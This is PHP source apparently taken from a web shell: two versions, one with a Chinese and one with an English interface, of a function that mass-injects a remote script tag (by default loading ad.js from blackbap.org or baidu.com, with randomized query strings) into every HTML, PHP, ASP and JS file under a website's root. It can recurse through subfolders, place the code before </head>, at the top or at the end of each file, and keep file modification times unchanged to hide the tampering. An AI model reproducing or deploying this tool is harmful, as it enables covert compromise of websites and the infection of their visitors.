function Guama_b() { if (!empty($_POST['gp']) && !empty($_POST['gt']) && !empty($_POST['gc'])) { echo '<div class="actall">'; $_POST['gt'] = str_replace('.', '\\.', $_POST['gt']); if ($_POST['inout'] == 'a') { $_POST['gl'] = str_replace('.', '\\.', $_POST['gl']); } else { $_POST['gl'] = ''; } if (stristr($_POST['gc'], '[-') && stristr($_POST['gc'], '-]')) { $temp = explode('[-', $_POST['gc']); $gk = $temp[0]; preg_match_all("/\\[\\-([^~]*?)\\-\\]/i", $_POST['gc'], $nc); if (!eregi("^[0-9]{1,2}\$", $nc[1][0])) { echo '<a href="#" onclick="history.back();">异常终止</a>'; return false; } $gm = (int) $nc[1][0]; $gf = $nc[0][0]; } else { $gk = $_POST['gc']; $gm = 0; $gf = ''; } if (!isset($_POST['gx'])) { $gk = ''; } $gd = isset($_POST['gd']) ? true : false; $gb = $_POST['gb'] == 'a' ? true : false; echo Guama_Auto($_POST['gp'], $_POST['gt'], $_POST['gl'], $_POST['gc'], $gm, $gf, $_POST['gi'], $gk, $gd, $gb) ? '<a href="#" onclick="history.back();">挂马完毕</a>' : '<a href="#" onclick="history.back();">异常终止</a>'; echo '</div>'; return false; } $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); print <<<END <script language="javascript"> function Fulll(i) { \tif(i==0) return false; Str = new Array(5); if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";sform.gp.value = Str[i];} else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";sform.gt.value = Str[i];} return true; } function autorun() { \tif(document.getElementById('gp').value == ''){alert('挂马路径不能为空');return false;} \tif(document.getElementById('gt').value == ''){alert('文件类型不能为空');return false;} \tif(document.getElementById('gc').value == ''){alert('挂马代码不能为空');return false;} \tdocument.getElementById('sform').submit(); } </script> <form method="POST" name="sform" id="sform" action="?s=b"> <div class="actall" style="height:35px;">挂马路径 <input type="text" name="gp" id="gp" value="{$ROOT_DIR}" style="width:500px;"> <select onchange='return Fulll(options[selectedIndex].value)'> <option value="0" selected>--范围选择--</option> <option value="1">网站跟目录</option> <option value="2">本程序目录</option> </select></div> <div class="actall" style="height:35px;">文件类型 <input type="text" name="gt" id="gt" value=".htm|.html|.shtml|.php|.asp" style="width:500px;"> <select onchange='return Fulll(options[selectedIndex].value)'> <option value="0" selected>--类型选择--</option> <option value="3">静态文件</option> <option value="4">脚本静态</option> <option value="5">JS文件</option> </select></div> <div class="actall" style="height:35px;">过滤对象 <input type="text" name="gl" value="templet|templets|default|editor|fckeditor.html" style="width:500px;" disabled> <input type="radio" name="inout" value="a" onclick="gl.disabled=false;">开启 <input type="radio" name="inout" value="b" onclick="gl.disabled=true;" checked>关闭</div> <div class="actall">挂马代码 <textarea name="gc" id="gc" style="width:610px;height:180px;"><script language=javascript src="http://blackbap.org/ad.js?[-6-]"></script></textarea> <div class="msgbox">挂马变形说明: 程序自动寻找[-6-]标签,替换为随机字符,6表示六位随机字符,最大12位,如果不变形可以不加[-6-]标签. <br>挂上示例: <script language=javascript src="http://blackbap.org/ad.js?EMTDSU"></script></div></div> <div class="actall" style="height:35px;"><input type="radio" name="gi" value="a" checked>插入</head>标签之前 <input type="radio" name="gi" value="b">插入文件最顶端 <input type="radio" name="gi" value="c">插入文件最末尾</div> <div class="actall" style="height:30px;"><input type="checkbox" name="gx" value="1" checked>智能过滤重复代码 <input type="checkbox" name="gd" value="1" checked>保持文件修改时间不变</div> <div class="actall" style="height:50px;"><input type="radio" name="gb" value="a" checked>将挂马应用于该文件夹,子文件夹和文件 <br><input type="radio" name="gb" value="b">仅将挂马应用于该文件夹</div> <div class="actall"><input type="button" value="开始挂马" style="width:80px;height:26px;" onclick="autorun();"></div> </form> END; return true; }
function Guama_b() { if (!empty($_POST['gp']) && !empty($_POST['gt']) && !empty($_POST['gc'])) { $gk = ''; $go = false; $gt = str_replace('.', '\\.', $_POST['gt']); $gl = isset($_POST['gl']) ? str_replace('.', '\\.', $_POST['gl']) : ''; $gd = isset($_POST['gd']) ? true : false; $gb = $_POST['gb'] == 'a' ? true : false; if (isset($_POST['gx'])) { $gk = $_POST['gc']; if (stristr($_POST['gc'], '[-') && stristr($_POST['gc'], '-]')) { $temp = explode('[-', $_POST['gc']); $gk = $temp[0]; $go = true; } } echo Guama_Auto($_POST['gp'], $gt, $gl, $_POST['gc'], $_POST['incode'], $gk, $gd, $gb, $go) ? 'Done' : 'Abort'; echo '<br><input class="bt" type="button" value="back" onclick="history.back();">'; return false; } $FILE_DIR = File_Str(dirname(__FILE__)); $ROOT_DIR = File_Mode(); print <<<END <script language="javascript"> function Fulll(i){ \tif(i==0) return false; Str = new Array(5); if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";sform.gp.value = Str[i];} else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";sform.gt.value = Str[i];} return true; } function autorun(){ \tif(document.getElementById('gp').value == ''){alert('path can not be empty');return false;} \tif(document.getElementById('gt').value == ''){alert('type can not be empty');return false;} \tif(document.getElementById('gc').value == ''){alert('code can not be empty');return false;} \tdocument.getElementById('sform').submit(); } </script> <form method="POST" name="sform" id="sform" action="?s=b"> <div class="actall" style="height:35px;">Path: <input type="text" name="gp" id="gp" value="{$ROOT_DIR}" style="width:500px;"> <select onchange='return Fulll(options[selectedIndex].value)'> <option value="0" selected>--select range--</option> <option value="1">site root folder</option> <option value="2">current folder</option> </select></div> <div class="actall" style="height:35px;">Type: <input type="text" name="gt" id="gt" value=".htm|.html|.shtml" style="width:500px;"> <select onchange='return Fulll(options[selectedIndex].value)'> <option value="0" selected>--select type--</option> <option value="3">html</option> <option value="4">script+html</option> <option value="5">JS</option> </select></div> <div class="actall" style="height:35px;">Filter: <input type="text" name="gl" value="templet|templets|default|editor|fckeditor.html" style="width:500px;" disabled> <input type="radio" name="inout" onclick="gl.disabled=false;">Open <input type="radio" name="inout" onclick="gl.disabled=true;" checked>Close</div> <div class="actall">Insert Code: <textarea name="gc" id="gc" style="width:610px;height:180px;"><script language=javascript src="http://www.baidu.com/ad.js?[-6-]"></script></textarea> <div class="msgbox">挂马变形说明: 程序自动寻找[-6-]标签,替换为随机字符,6表示六位随机字符,最大12位,如果不变形可以不加[-6-]标签. <br>Example: <script language=javascript src="http://www.baidu.com/ad.js?EMTDSU"></script></div></div> <div class="actall" style="height:35px;"><input type="radio" name="incode" value="1" checked>insert before </head> <input type="radio" name="incode" value="2">insert the top of file <input type="radio" name="incode" value="3">insert the end of file</div> <div class="actall" style="height:30px;"><input type="checkbox" name="gx" value="1" checked>Automatic filter double code <input type="checkbox" name="gd" value="1" checked>keep file time unchanged</div> <div class="actall" style="height:50px;"><input type="radio" name="gb" value="a" checked>applied to current folder,subfolders and files <br><input type="radio" name="gb" value="b">only applied to current folder</div> <div class="actall"><input class="bt" type="button" value="Insert" onclick="autorun();"></div> </form> END; return true; }